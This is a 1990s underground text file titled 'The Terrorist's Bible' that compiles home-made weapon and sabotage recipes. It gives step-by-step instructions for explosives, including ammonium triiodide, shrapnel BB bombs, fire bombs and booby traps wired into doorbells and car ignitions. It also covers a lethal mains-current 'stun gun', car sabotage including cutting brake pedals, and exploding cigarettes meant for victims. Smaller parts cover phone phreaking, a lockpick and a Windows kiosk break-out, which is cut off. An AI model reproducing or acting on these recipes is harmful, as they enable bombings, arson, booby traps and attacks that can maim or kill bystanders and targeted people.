Disclaimer
We are not responsible if you stupid ass decides to make any or all of the things in this book. This
book is for Educational uses ONLY and not meant to hurt, harm, maim or dismember anything
living.
This thing is written by Chris a.k.a. JyNx and Mike a.k.a. Zealot
!JyNx!
!Zealot!
THe Chaotic Angels presEnts............
***********************************************************
*
*
*
* ---===>The Terrorist’s Bible ver. 2.84 Dated 04/31/98<===--*
*
*
*
***********************************************************
ver.2.84
Hello everyone! This is the first version of The Terrorist’s Bible
to be released!! It will contain a few files of deadly and a lot of fun knowledge
from the underground. I take no responsibility if anyone actually makes
or sets off any off the files listed!!!!!!!! I highly stress THIS IS
DANGEROUS and should not be used!!!!!! Some of the files in this are just
for fun and entertainment. DO NOT submit my name or any one else’s under any
circumstances for something to do with these files!!! If you do you will not
ever see another version of this thing and I will find you!!!!!
These files are mainly from my thoughts and experience’s. I hope you
will enjoy these files!!!! There is a limit on how much one can invent, but I
will update this thing every time I think of something new and interesting.
Now a little about the two people who took part in the making of this my friend Mike a.k.a. Zealot
and me Chris a.k.a. JyNx live in a large town in Colorado we have always been facenated with bombs
and Pyrotechnics and have been hackers for a long time, Recently we decided to write our thoughts
and experiences on paper and give it to close friends. So I hope you have fun with this but be careful
and remember the only reason Mike or I have not blown off a limb is because we know how to
handle this stuff and are quit skilled with pyrotechnics
************************
* /\/\/\/\/\/\/\/\/\/\ *
*!!---===>JyNx<===---!!*
* \/\/\/\/\/\/\/\/\/\/ *
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************************
* /\/\/\/\/\/\/\/\/\/\ *
*!---===>Zealot<===---!*
* \/\/\/\/\/\/\/\/\/\/ *
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~ .22 Riot Bomb ~
This is a nice one for mobs and riots. It will startle everyone in the
area and may even injure someone when it goes off. Probably not, but you
can't tell.
NOTE: THIS IS HYPOTHETICAL. IT SHOULD WORK. I HAVE *NEVER* TRIED IT. USE
*EXTREME* CAUTION IF YOU INTEND TO TRY THIS. WHICH YOU ARE *NOT*
RECOMMENDED
TO DO!!!
Materials
--.22 caliber round
2" long piece of 1/4" copper pipe
3/4" long 1/4" bolt
Those are the materials for ONE bomb. Just repeat these for each one.
Screw the bolt into the pipe. They are the same size, so it may take a
little work. You can also use a Tap-And-Die set to thread the pipe if you
wish. Anyway, once finished, take this thing up a few floors. You have to
drop it. It cannot be thrown.
To "arm" the device: Turn the pipe on its side, and GENTLY slide the bullet
into it. Until it touches the bolt. Now, holding the device upright, drop
it out the window, or off the roof. Don't worry, the bullet won't fall out.
As long as it is inside the pipe when it is dropped, it will be in there
when it hits the ground. You don't have to understand it, just accept it as
true. Also, afetr you drop it, I'd step back if I were you. Theoretically,
if you drop it and hold your hand in the exact position it was in when you
released the bomb, the bullet will fire and hit your hand. That's bad.
---===>~JyNx~<===-----===>~Zealot~<===--~ 50 caliber explosive ~
All you need is a 50 cal. rifle cartridge. Extract the projectile,
crimp and fold the end. Attach the projectile point first onto the primer
makeing sure its secure. Now throw it and run. It will explode when it hits
pavment or dirt if thrown high enough.
---===>~JyNx~<===-----===>~Zealot~<===--~ Acetone Bomb II ~
This fire bomb is great to take someone by suprise. This can be
thrown from a distance just like the ussual fire bomb. Except this one is
made to expand a fire that is already started. Such as a little bon fire
that your victims have made or a little "chemical" fire that there messing
around with. If they want to see chemical fire chuck one of these to them.
What you nee to do is fill a water ballon with acetone or gas. You can do
this by sucking up the acetone or gas in a syringe and then squirting it in
to the ballon. The ballon should be filled just right. Just as if it had
water in it. Then from here on is pretty much self explanitory. Just
throw this at the fire your victims had made or the one you had made if
your just testing it out. Try to hit a little before the flame. Then you
will have an extremly fast moving fireball so look out if your anywhere
near it. This one is good so you dont have to worry about dropping a glass
firebomb and it setting off at your feet. Or you don't have to worry about
it going out in mid air if you throw it to hard. All you need is a little
tiny flame at the impact point and you have yourself a big onE.
---===>~JyNx~<===-----===>~Zealot~<===--~ Acetone Explosive ~
This file is very cool and is also very dangerous. Take a glass
jar and fill it with acetone. Make sure the jar is only as tall as a co2
bomb. Then make a waterproof co2 bomb and secure it in middle of the
acetone filled jar. Now seal the jar so all you can see outside of the jar
is the fuse. The next step you must only due when you are about to use it.
Coat the jar in napalm and light the napalm. Then light the fuse right
after. Then run as if you just escaped from jail. This will be a spectacular
fire bomb and sight. It is very cool to watch this as it goes of when you
see a ball of fire coming out...as long as you and no one else is around
it. Try gas… I think that would also work very well too!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Aerosol Bomb ~
This one is fairly easy and fairly reliabe. It's also really easy to
improvise on SHORT notice. All you need is an aerosol can with a flammable
substance in it, like deoderant, and some strong tape (masking, duct).
Just put some tape over the thing so the button is held down and it's
caught spraying, but not hitting the tape. Basically, just get the thing to
spray continuously. Now light the jet of aerosol. It will make the classic
flamethrower, but as pressure from the can decreases, the flame will draw
ever closer to the hole in the button. Once it gets an inch or so in the
hole, the whole thing blows. This can take seconds to minutes, depending
on how full and how big the can is.
---===>~JyNx~<===-----===>~Zealot~<===--~ Ajax Bomb ~
This bomb is virtually harmless to you unless you breath in to
much of the Ajax powder. Take a glass jar about the size of a pickle jar.
Fill it about two thirds of the way with Ajax. Make sure the lid is on
nice and tight. Then all you have to do is throw it against something hard
enough to brake it and poooff! Big mess! Have fun!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Alttitude prediction for explosive missiles ~
Depending on the strength of the engine, the wind condition and
how heavy the explosive is will determine how high your rocket will travel.
I will give you examples of how high the engines will go with an explosive.
I do not know how high it will go with a very heavy Explosive so you can figure
it out by using these. This is only thier burnout Altitude. They will coast
LONG after this.
Type
Weight
Altitude
----------------------------------------------------------------1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/4A3
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
1/2A6
A5
A5
A5
A5
A5
A5
A5
A5
A5
A5
A8
A8
A8
A8
A8
A8
.4 oz.
21 feet
.6 oz.
17 1/2 feet
.8 oz.
10 feet
1.0 oz.
8 feet
1.2 oz.
6 1/2 feet
1.4 oz. 5 1/2 feet
1.6 oz.
4 1/2 feet
1.8 oz.
4 feet
2.0 oz.
3 1/2 feet
2.2 oz.
3 feet
2.4 oz.
2 ft. 6 inch.
2.6 oz. 2 ft. 4 inch.
.6 oz.
25 feet
.8 oz.
17 feet
1.0 oz.
14 feet
1.2 oz.
13 feet
1.4 oz.
10 feet
1.6 oz.
8 3/4 feet
1.8 oz.
7 3/4 feet
2.0 oz.
6 3/4 feet
2.2 oz.
6 feet
2.6 oz.
5 feet
3.0 oz.
4 1/2 feet
3.5 oz.
3 1/2 feet
4.0 oz.
3 feet
.6 oz.
120 feet
.8
90 feet
1.0 oz.
70 feet
1.2 oz.
55 feet
1.4 oz.
48 feet
1.6 oz.
42 feet
2.0 oz.
32 feet
2.5 oz.
25 feet
3.0 oz.
20 feet
3.6 oz
16 3/4 feet
.6 oz.
113 feet
.8 oz.
82 feet
1.0 oz.
65 feet
1.2 oz.
53 feet
1.4 oz.
44 feet
1.6 oz.
37 feet
A8
A8
A8
A8
A8
A8
A8
B4
B4
B4
B4
B4
B4
B4
B4
B4
B4
B4
B4
B6
B6
B6
B6
B6
B6
B6
B6
B6
B6
B6
B6
B6
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
B14
C6
C6
C6
C6
C6
C6
C6
C6
C6
1.8 oz.
2.0 oz.
2.2 oz.
2.6 oz.
3.0 oz.
3.5 oz.
4.0 oz.
.8 oz.
1.0 oz.
1.2 oz.
1.4 oz.
1.6 oz.
1.8 oz.
2.2 oz.
2.6 oz.
3.0 oz.
3.5 oz.
4.0 oz.
4.5 oz.
.6 oz.
.8 oz.
1.0 oz.
1.2 oz.
1.4 oz.
1.6 oz.
1.8 oz.
2.2 oz.
2.6 oz.
3.0 oz.
3.5 oz.
4.0 oz.
4.6 oz.
.8 oz.
1.0 oz.
1.2 oz.
1.4 oz.
1.6 oz.
1.8 oz.
2.0 oz.
2.4 oz.
2.8 oz.
3.2 oz.
3.6 oz.
4.0 oz.
5.0 oz.
6.0 oz.
7.0 oz.
.8 oz
1.0 oz.
1.2 oz.
1.4 oz.
1.6 oz.
2.0 oz.
2.4 oz.
2.8 oz.
3.2 oz.
33 feet
30 feet
26 feet
22 1/2 feet
18 1/4 feet
15 feet
13 feet
485 feet
360 feet
296 feet
245 feet
210 feet
175 feet
145 feet
113 feet
100 feet
80 feet
67 1/2 feet
55 feet
485 feet
325 feet
252 feet
200 feet
170 feet
150 feet
132 feet
115 feet
87 feet
73 feet
60 feet
50 feet
43 feet
150 feet
125 feet
97 feet
81 feet
69 feet
61 feet
56 feet
46 feet
37 feet
33 feet
28 feet
25 feet
20 feet
16 feet
13 feet
1400 feet
1150 feet
850 feet
715 feet
607 feet
475 feet
390 feet
325 feet
275 feet
C6
C6
C6
C6
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
D12
3.6 oz.
4.0 oz.
5.0 oz.
6.0 oz.
1.0 oz.
1.2 oz.
1.4 oz.
1.6 oz.
2.0 oz.
2.4 oz.
3.0 oz.
4.0 0z.
5.0 oz.
6.0 oz.
7.0 oz.
8.0 oz.
9.0 oz.
10.0 oz.
11.0 oz.
12.0 oz.
13.0 oz.
14.0 oz.
15.0 oz.
16.0 oz.
240 feet
210 feet
150 feet
125 feet
2100 feet
1600 feet
1400 feet
1100 feet
850 feet
700 feet
530 feet
380 feet
300 feet
240 feet
200 feet
160 feet
145 feet
130 feet
120 feet
105 feet
91 feet
81 feet
75 feet
70 feet
---===>~JyNx~<===-----===>~Zealot~<===---
~ Ammo for slingshots ~
This file will show the many useful and fun things to shoot off your
slingshot. For example:
- Smoke bombs
- Ligting flash ( the little flashing things that they sell on the 4th)
- Cherry bombs
- Paper matchhead thingamagiger
- Nuts (not yours) and bolts
- M-100
- Pebbles
- "00" buck shot (shot gun pelets)
- A minature molitov cocktail
---===>~JyNx~<===-----===>~Zealot~<===--~ AMMONIUM TRIIODIDE CRYSTALS ~
-----------------------------------------------------------------------Ammonium triiodide crystals are foul-smelling purple colored crystals that decompose under the
slightest amount of heat, friction, or shock, if they are made with the purest ammonia (ammonium
hydroxide) and iodine. Such crystals are said to detonate when a fly lands on them, or when an ant
walks across them. Household ammonia, however, has enough impurities, such as soaps and abrasive
agents, so that the crystals will detonate when thrown,crushed, or heated. Ammonia, when bought in
stores comes in a variety of forms. The pine and cloudy ammonias should not be bought; only the
clear ammonia should be used to make ammonium triiodide crystals. Upon detonation, a loud report
is heard, and a cloud of purple iodine gas appears about the detonation site. Whatever the
unfortunate surface that the crystal was detonated upon will usually be ruined, as some of the iodine
in the crystal is thrown about in a solid form, and iodine is corrosive.
It leaves nasty, ugly, permanent brownish-purple stains on whatever it contacts. Iodine gas is also
bad news, since it can damage lungs, and it settles to the ground and stains things there also.
Touching iodine leaves brown stains on the skin that last for about a week, unless they are
immediately and vigorously washed off. While such a compound would have little use to a serious
terrorist, a vandal could utilize them in damaging property. Or, a terrorist could throw several of
them into a crowd as a distraction, an action which would possibly injure a few people, but frighten
almost anyone, since a small crystal that may not be seen when thrown produces a rather loud
explosion.
Ammonium triiodide crystals could be produced in the following manner:
Materials
Equipment
iodine crystals
funnel and filter paper
paper towels
clear ammonia
(ammonium hydroxide, two throw-away glass jars
for the suicidal)
1.Place about two teaspoons of iodine into one of the glass jars. The jars must both be throw away
because they will never be clean again. 2.Add enough ammonia to completely cover the iodine.
3.Place the funnel into the other jar, and put the filter paper in the funnel. The technique for putting
filter paper in a funnel is taught in every basic chemistry lab class: fold the circular paper in half, so
that a semi-circle is formed. Then, fold it in half again to form a triangle with one curved side. Pull
one thickness of paper out to form a cone, and place the cone into the funnel. 4.After allowing the
iodine to soak in the ammonia for a while, pour the solution into the paper in the funnel through the
filter paper. 5.While the solution is being filtered, put more ammonia into the first jar to wash any
remaining crystals into the funnel as soon as it drains. 6.Collect all the purplish crystals without
touching the brown filter paper, and place them on the paper towels to dry for about an hour. Make
sure that they are not too close to any lights or other sources of heat, as they could well detonate.
While they are still wet, divide the wet material into eight pieces of about the same size. 7.After they
dry, gently place the crystals onto a one square inch piece of duct tape. Cover it with a similar piece,
and gently press the duct tape together around the crystal, making sure not to press the crystal itself.
Finally, cut away most of the excess duct tape with a pair of scissors, and store the crystals in a cool
dry safe place. They have a shelf life of about a week, and they should be stored in individual
containers that can be thrown away, since they have a tendency to slowly decompose, a process which
gives off iodine vapors, which will stain whatever they settle on. One possible way to increase their
shelf life is to store them in airtight containers. To use them, simply throw them against any surface
or place them where they will be stepped on or crushed.
---===>~JyNx~<===-----===>~Zealot~<===---
~ BB Bomb ~
*This bomb is extremmly dangerous..Use with cation* What you need
is a sheridan 20 cal. pellet container or small round glass jar, Co2 bomb,
and alot of BB's. Take the pellet box or jar and place the co2 bomb in the
center. Fill the rest of your container with bb's. Then if you using the
glass jar, Screw on the lid. If your using the Pellet container, seal with
duct tape. Make sure you have a little hole in the lid of the container to
let the fuse peak through. I like the pellet container the best because
you can apply silly puddy to the back of it and stick it on a wall near your
enemy. And if you do that you have the option of making it electronicly
detonated....Becarefull or else.........
---===>~JyNx~<===-----===>~Zealot~<===--~ BB shotgun ~
This will tell you how to make a bb shotgun with very easy to
get supplies. What you need is an old testors paint bottle(the kind
you use for modles with no paint in it), Gun powder, bb's, baby powder,
a fuse, and a pipe. Take your container and fill the bottom half with
your gun powder. Then take a little peice of paper to seperate it from
the top halfs contents. Then poor the baby powder and bbs in at the same
time so they mix. Insert the fuse so it goes through the baby powder and
the paper and is touching the gun powder. Punch a hole in the lid and
fit the fuse through it. You must screw the lid on very tightly. Insert
this into the pipe facing outwards when you light it. IT must either fit
very tightly or half a back on the pipe or the container will shoot out the
end. BOOOOMMM!
---===>~JyNx~<===-----===>~Zealot~<===--~ BBS numbers ~
NAME
NUMBER
---------------------------------------------------------------------Kremlin (for slower modems) (310)791 0692
Kremlin (for faster modems) (310)791 1491
America Online Tec. Supp. (800)827 5808
Unknown
Apogee
(508)365 2359
Unknown
Apogee
(508)368 4137
Unknown
Apogee
(508)368 7036
Unknown
Gates of Hell
(310)325 4419
Dark Council
(310)529 5723
Procomm Plus tech. supp
(314)875 0503
LOCATION
Pkware tech. Support
(414)354 8676
---===>~JyNx~<===-----===>~Zealot~<===--~ How to beat the Childproof lighter ~
Now-a-days they don't sell you the regular lighters anymore. You
can only buy the chlidproof ones. I found them extremly anoying having to
push that little button in every time you wanted to light the lighter. So
we came up with a very simple way of converting it back to the old kind.
First of all I am telling you about the "bic" lighters scince they are the
best. All other lighters brake very easily. What you need to do is take
your pocket knife and pry out the little red saftey button that is under the
gas button. After you have pryed this button out you should have a hole
under the gas button with a little strip of metal hanging out. Give this
a good tug to pull it out. Then your lighter is back to normal...just
give it a flick..no more saftey button!!!!!!
---===>~JyNx~<===-----===>~Zealot~<===--~ Beside Shotgun ~
The danger level on this one is for construction, NOT usage. If you fuck shit
up, it's all you.
Shopping list:
- Radio Hack project box (nice, handheld size)
- Wall plug with a nice long (10') cord
- SPST switch from RS able to handle 120VAC at the HIGHEST amp rating
you can get (at LEAST 4A)
- Some heavy (20 AWG) wire
- 2 Radio Hack banana plugs (they look like little posts)
Easy construction phase:
Drill a hole in the back or bottom of the box for the cord, two in the front
for the banana plugs, and one in the top for the switch (You can use a button
if you want, but make sure it can handle the current listed above)
Mount aforementioned parts in box, and solder one wire from the wall plug
direct to a banana plug, and one to the other banana plug through the SPST.
Shitty ASCII diag:
To wall +==================+
plug
|
/ spst |
-----------|---------/ -----|-DDDDDDDDD <--+
|
|
|----banana plugs
-----------|------------------|-DDDDDDDDD <--+
|
|
+==================+
project box ^
Get it? CLose enuff. Now, MAKE SURE THE SWITCH IS OFF, and put it somewhere
you might want it. Like near your bed or computer. Anytime you need to (how
often is that really, but whatever) you can just grab the thing, switch it
on, and jab the person that is threatening you. NOTE: Don't use this as a
joke. Other stun-guns are harmless, but this could kill. It's HIGH current.
Also, you will most-likely blow the fuse it's plugged into when you use it,
but the kick it'll give your intruder will be plenty for you to beat his ass.
Warnings (Like you guys listen to 'em, eh?) : [1]As mentioned above, this is
VERY powerful, and could kill. It's probably good that the fuse will blow
after a few seconds...
[2]This is not as safe for the user as a normal stungun. If yuo jab someone, and they grab you, you'll pro'lly get a zap too. I dunno...I haven't
tried...
Quick addition:
If you don't use the banana plugs, and just connect the plug through the
switch, you have an instant fuse blower. Take it to school, plug it in, and
toss the switch for a few seconds. It'll blow the fuse. Turn it off and move
on to another part of the building...:)
---===>~JyNx~<===-----===>~Zealot~<===--~ Bird Shit Bomb ~
Materials:
An aluminum soda can
A blasting cap
A detonator
A shitload (no pun intended of, well, bird shit.
Take the shit and fill the can up *Make sure it is packed in hard.
Then, take the blasting cap and put it in the mouthhole of the can.
Run the cord from the detonator making sure the cord is long enough...
Flip the detonation switch and BOOM! *NOTE*-Make sure the shit is damp,
like a paste. If it is dry at first, then mix it with water until it
achieves a paste like form. What initialy sets this bomb of is the
nitrogen in the shit. Have fun! See how more creative you can get!!!!
--===>~JyNx~<===-----===>~Zealot~<===---
~ Blasting Caps ~
Blasting caps are a little better way of setting off and explosive.
They can give the explosive a higher detonation velocity and are needed for
some higher explosives were a simple rocket igniter won't due. This is
kind of a mild version of a blasting cap. It does not pack quite the punch
a regular blasting cap would. For one thing this will flash more or less
and an actuall blasting cap would explode or pop. All you need is some
paper, an estes model rocket igniter, and again some paper caps. Take the
paper and cut off a peice about a square inch..you can size it down as you go
along. COMPACT some caps into the peice of paper. Then cup the paper so
that the caps are in a little ball like shape. Then insert the igniter into
the middle of the cap ball and crimp the paper shut tightly. You should
place a thin strip of tape right were the paper and the igniter meet to
keep it closed and compact. Then you insert this into whatever your device
is and clip your detonating wires that run to the detonator on it and boom
your done!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Bottle tab launcher ~
This will tell you how to make a weapon that will shoot the bottle
tabs you find on the tops of coke cans. Take a square like stick, some
rubberbands, a clothespin, and a metal u-shapped tack. Take your rubberband
and secure it at the end of the stick with the tack makeing sure its
centered. Then take your clothes pin and secure it about a foot down the
stick by rapping about 10 - 20 rubberbands around the base of it. Then rap
the same amount around the front of the clothespin. This will keep the tab
from sliping when cocked. Then take you bottle tab that still has the little
square or round shaped object still attached and place it so that the
rubberband holds the little round shaped object. Then pull it back so that
it will be held by your reinforced clothespin. Then to shoot, just press
down on the clothespin and whoosh!! This is not very acurrate up to more
tan about 15 feet. I have seen these penetrate a shoe box at 5 feet with
the proper adjustments. Have fun!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Call ANI ~
Here is a generic ANI number that works from just about anywhere, I think.
BTW-- if you don't know, quick explination of ANI: ANI = Automatic Number
Identification, and is used by Telco linemen to determine what fone number
they are working on, when they're at a can (the big silver thing on the fone
pole). You pro'lly aren't supposed to use it, but what the hell...they don't
really care. I use it all the time, and telco doesn't bother me at all. Uses?
Well, say you're getting a toar at IBM, and you come across a fone that's
attached to a modem. You know the modem would be much....fun, but if only
you knew the number....well, you wait till the toar guide is busy, and grab
the fone. Just dial 1-800-MY-ANI-IS, and listen. You'll hear a computer
generated voice say: "You're ANI is....(555) 555-1212" and then repeat.
That particular situation will never happen to you unless you're lucky as
shit, but you get the idea. Good at school, work, banks, etc...it's almost
worth carrying a one-piece fone to hook up to the line for calling in case
there isn't a fone around....(hint, hint) I wish I had known that one at my
old high school. Much usefulness. In case you missed it, the ANI is:
1-800-MY-ANI-IS or 1-800-692-6447. Enjoy.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Cap Gun Conversion II ~
This file will explain yet another way to convert a cap gun into
a very loud cap gun. Take one of the revolver cap guns that shoots the
plastic caps. You must fill the cillinder with either flash powder or
black powder. When you pull the triger, the flash from the cap will ignite
the gun powder quickly causing a blank pistol effect. This one is not as
reliable as the other one, so you will have to experiment.
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to convert a cap gun into a very loud cap gun ~
This can only work with certain kinds of cap guns. The ones you
find at disneyland. They look like old single shot black powder guns.
They have usually only one spot for a cap(somtimes two depending on what
kind of gun it is). This is very simple to do. All you do is where you
would normally put your cap, you put about 1 - 2 firecrackers worth of flash
powder. Make sure it is spread out evenly. Then you place two to three
caps on top of the powder. This is made so when you pull the trigger and
the hammer drops it will set of the caps and the caps with thier violent
flash will ignite the flash powder instintainiously causing a loud BOOM!!
I have heard mine go let off a sound equivalent to a 9mm pistol. The average
is about as loud as a 22 pisol, but varies on a few things (how much powder,
how many caps, the rate of the hammer, and how fast the caps go off). You
can not set this of with just the hammer by it self because it takes alot
more pressure to ignite the caps since the powder is cusioning it. This is
done very simply. Just add 5 to 6 rubber bands around the hammer to give
it more force as it flies down. If you shoot the gun off right after you
load it you can leave it like that, if not you must put a piece of tape over
the powder so it does not get blow off. This will provide fun for you and
a fake threat to your loser nieghbors.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Explosive Cigarettes ~
This is a very simple revenge device. What you need is a Cigarette,
and a firecracker. You must first take the cigarette and take out all of the
tobacco, WITHOUT ripping or krinkling the paper!!!(This might prove to be
hard). If were able to do that correctly, then insert the fire craker in
the cigarette very gentally, pushing it all of the way back making it touch
the filter(Fuse pointing out). Then insert some of the tobacco into the
remaining space of the paper without crinkling it. This then looks like
a normal cigarette when you are done if you have done it right. Then you
find someway to give it to you unsespecting smoking victim. When he lights
it and it reaches the fuse..........BOOOOOM...right in his face!!!!!Yes!!!!
If any one has any suggestions on anything else that would work good in the
cigarette, then please tell me!!!I HATE smokers!!!!!!Screw all of you
losers!!!!!!!AHhhhhhhhh,HA,HA,Ha,Ha......
---===>~JyNx~<===-----===>~Zealot~<===---
~ Contact Explosive ~
This explosive is detonated by throwing it at something solid.
What you need are some PAPER caps, a sandwhich bag and some gunpowder.
Take your paper caps and cut them out so all you have are the little round
part that contains the gun powder. Take those and place them into the
plastic bag. Then place a little flat rock that will act as a divider
in between the caps and the gun powder. You will have to drill holes into
the rock and place a little strip of paper in the holes so that the gun
powder does not mix with the caps. The rock can not be any biger than the
amount of caps or their is a chance of a misfire. Then you seal off the
bag and throw! Here is a diagram:
***
/ \
! = rock
/;;!""\
/ or \ or * or - = bag
/;;;!"""\
; = gun powder
{ ;;;!""""}
" = caps
----------The caps MUST be compact! If you can not understand the diagram
then hopefully you can understand my instructions!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Contact pen bomb ~
This is an explosive fairly simple to make and is quite effective with
the proper adjustments. When this bomb is complete, you will be able to
throw it up in the air and when it lands it will explode. This is similar to
those little rocket shaped things you buy in the store that you place a cap
in and they snap when they land (except this one packs alot more punch).
It must be a push button pen. Take one of those and gut the inside. Yes,
this means taking out the ink cartridge, the spring(save it), ect. Then you
must unscrew the tip of the pen and place a piece of solid metal in it so that
the metal is lying flat. Then you must get a thin metal rod and place it
where the ink cartridge went. It must have a flat tip for the point that is
placed facing the tip of the pen. You must then replace the spring of the pen
onto the metal rod so that it acts the same for it. You might have to make
groves in the rod so that the spring can be held in place. Now for the
explosives!!!!!HAHAHAHA!!!!!!!!Fill the pen around the rod with gunpowder of
your choice. Then place to caps on the metal plate and screw back on the
tip. This explosive does not have a 100% detonation rate so you might have to
fiddle with it a couple of times. Just to get you started, a few things that
might go wrong with your pen explosive is that you have placed to many caps
on the metal plate, you have not placed enough, the gun powder was getting
under the rod and interfering with the caps bieng set off. Here is somewhat
of a diagram:
Back
of
Pen
--------Pen casing-------\
---Metal rod--------------|\
--------Pen casing-------/
/ \ -Tip of pen
| metal plate
This is not a very good diagram, but it should be enough for you to
get the picture. You will need to add somewhat of a wieght at the bottom of
the pen right near the button. This will ensure that the pen will fall on the
button to detonate the pen. How this works is when the pen hits the ground,
it will press the button in with enough quickness and force that it will pop
the caps. The caps will go off with a flash setting off the gunpowder and
exploding the pen. Pretty simple hugh?
---===>~JyNx~<===-----===>~Zealot~<===---
~ Devious things to do to a car ~
1. Take it apart
2. Strip the radio and all the good stuff
3. Cut it in half with thermite
4. Slash the tires
5. Take it at night and drive off road through the mud and return
before they wake up.
6. Cut off the gas peddle...Brake peddle if your looking to kill them.
7. IF the window is open take thier hose at night and stick it in and
turn it on.
8. Hook up somthing in the lines of a smoke bomb on their ignition system
using the electrical igniters that you use for modle rockets.
9. Fill it with dog crap.
10. Put anything that will fit into the tail pipe and cram it up in there good with a broom handle
---===>~JyNx~<===----===>~Zealot~<===---
~ Coat Hanger Explosives ~
(Dog Bone)
This is probably one of the most simplest explosives to make. All
you need is a coat hanger (the kind with the white cardboard tubing as the
bottom wire), gunpowder, a fuse, and some tape. First take the tubing off
of the hanger. Then cut it into a piece about three and a half inches in
length. Fold about a half of an inch inward of one end. Then tape it
down with any kind of tape...even scotch tape works fine. Then make a hole
with a SMALL nail about a half an inch from the crimped end. You can then
pour in your gunpowder. Pour it in until it gets to be half an inch to the
open end. Then crimp this end just as you did with the other (Don't forget
the tape!). Then you can insert the fuse into the hole you made, light it,
and run! This is eqevilent to a pack of firecrakers going off at once.
In other words it's pretty loud for it's size! Incase you still haven't
figured out why I call it a dog bone, it's because of the overall shape!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Dog Bone II ~
Since I've had so many complements on the first dog bone I've decided
to make a revision file. After you make the regular dog bone, take some
modeling clay and coat the dog bone with it, making sure not to cover up the
hole for the fuse. This will prove usefull by allowing you to stick it on
smooth objects such as buildings. You can wait until your victim comes out
of class and stick it on the outside of the building right near the door.
Hehehehe...
---===>~JyNx~<===-----===>~Zealot~<===---
~ Door Bell Bomb ~
This one you can either make really nasty which I do not suggest!
Wait until your victim leaves his house. Then sneak over and unscrew the
door bell button plate so that you expose the wires. Then snip one of the
wires and strip both tips. Then you will need to attach an igniter on the
wire so that the circut is once again complete. Then you attach the
igniter onto your disired explosive and screw back on the plate. Then when
the next person goes to ring the door bell it will complete the circut,
therefor detonating your explosive. if your slick enough to hide extra wire
leading out from the door bell so that your explosive can be hidden in the
bushes or under the mat. When you do that you can usually make the explosive
a greater size than if you were to just hook one under the plate.
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make a dry ice bomb ~
This is one of the most simple bombs to make. It is used for many
different things. If your just out having fun take a two liter soda
bottle and fill it three quarters with water. Then take a piece of dry
ice and crush it. Put just enough to make a layer at the bottom of the
jug. Now cap it and run! You wil have about 10 to 15 sec before it
detonates. It will make quite a boom! I set of a car alarm 30 - 40
feet away with one of these! Now if you are in a war or need one for
self defense you can do the same procedure exept use a glass bottle.
this will throw glass shrapnel, so it can do some damage on a human.
Do not in any way use this on a person unless you are AT WAR!!!!
So be careful!! **CAUTION** There is no set time for detonation so it
is NOT wise to hold in your hand!!!! Here are a few other things you can
do with dry ice:
1. Mix 1 part egg, 1 part paint, 1 part, wipped cream, and fill a two
litter bottle with it. Put about two inches of dry ice in the bottom.
Cap it and get creative.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Easy Car Bombs ~
A few quick ways to send a car to the junk yard (and mentally FUCK the
owner):
1) This is THE classic car fucker: Pour about a cup of suger in the gas
tank of the car. It seizes up the engine, and the car dies.
2) This is fun with little dangerous damage: Remove the rubber blades from
the windsheild wipers, and replace them with thumb tacks. They usually
slide right into the track that the blades were in. When the victim
turns on the wipers, heh...heh heh heh....HAHAHAHAHAHA
3) This will honestly BLOW THE THING UP: Take a small medicine bottle.
Like the ones you get with a prescription drug. Not the locking ones,
but the NON-child proof ones. Take one of those, and fill it with
liquid Drano. Now, pop it into the gas tank of the offending vehicle.
The gas eats away at the plastic bottle until the Drano leaks out...
then BOOM!
4) This is sort of a variation of #1: But instead of using suger, try
using those little styrofoam packing peanuts. They would be fun, since
they mix with the gas, and the gas melts them into a thick gooey mess.
I'm really not sure if this would just fill up the tank with SHIT, and
the owner would have to refill the tank every 20 miles, or if it would
actually get the stuff to the engine, in which case EVERYTHING would
have to be replaced. The tank, the gas lines, the engine, everything.
Fun either way.
5) This is pretty dangerous, so I don't really recommend it, but if you
want to, go for it: This is sort of hard to explain, so unless you know
exactly what I'm talking about, you shouldn't use this one. First, get
a model rocket engine. Use a C or a D engine, as these are the largest
(unless you can find an E or F, but they are rare). Now, with a pair of
dikes, snip one of the wires going from the ignition circut (the key),
to the battery. Either will do. I will not try to explain where they are
or what they look like, since cars vary so much. Anyway, strip the two
ends of the "new" wires, and wire the solar igniter from the engine in
between the "new" wires. So it is spliced in like this:
------------------------------=====||=====----------------------^---wire from key to batt. ^-----------leads from igniter
Anyway, when the owner gets in and puts in the key, and turns it, the
engine goes off under the hood. It might blow up, it might fly around
and hit stuff, it might burst into flame. Hard to say. But it'll be
fun. NOTE: You *could* do it in the cabin of the car, but I HIGHLY warn
against it, as you could hurt or kill the person. And you're not trying
to do that, you're just scaring him shitless, right?
---===>~JyNx~<===-----===>~Zealot~<===---
~ Easy Lockpickin ~
This is a lockpick design that I came up with, although I would NOT be
suprised by hearing that you've heard of this pick idea before. The idea is
so simple, and so universal, that I'm almost certain I am not the first to
come up with it. Here it is:
Materials:
36" of THIN, STRONG wire (small enuf to fit in the space between
the door and the jamb)
2) little key chain hoop metal hang-keys-on thingies
Construction:
Just fold the chain in half so you have an 18" long loop. Now,
put one of the little hoop handle type thingies on each end. To use: Slide
the chain between the door jamb and the door, behind the bolt of the lock.
Now, hold both hoops in one hand, and tug and jerk gently while trying the
knob of the door. It will eventually give way, if the lock isn't TOO
strong.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Easy Win Hack ~
Here's an easy hack that will break you to DOS in any Windows Protected Mode
computer. As you know, a Protected Mode Progman has no File menu, and you
cannot exit Windows or change properties of programs. How do we get around
this? Easy.
You first need a floppy disk containing the following files:
COMMAND.COM
WINHELP.EXE
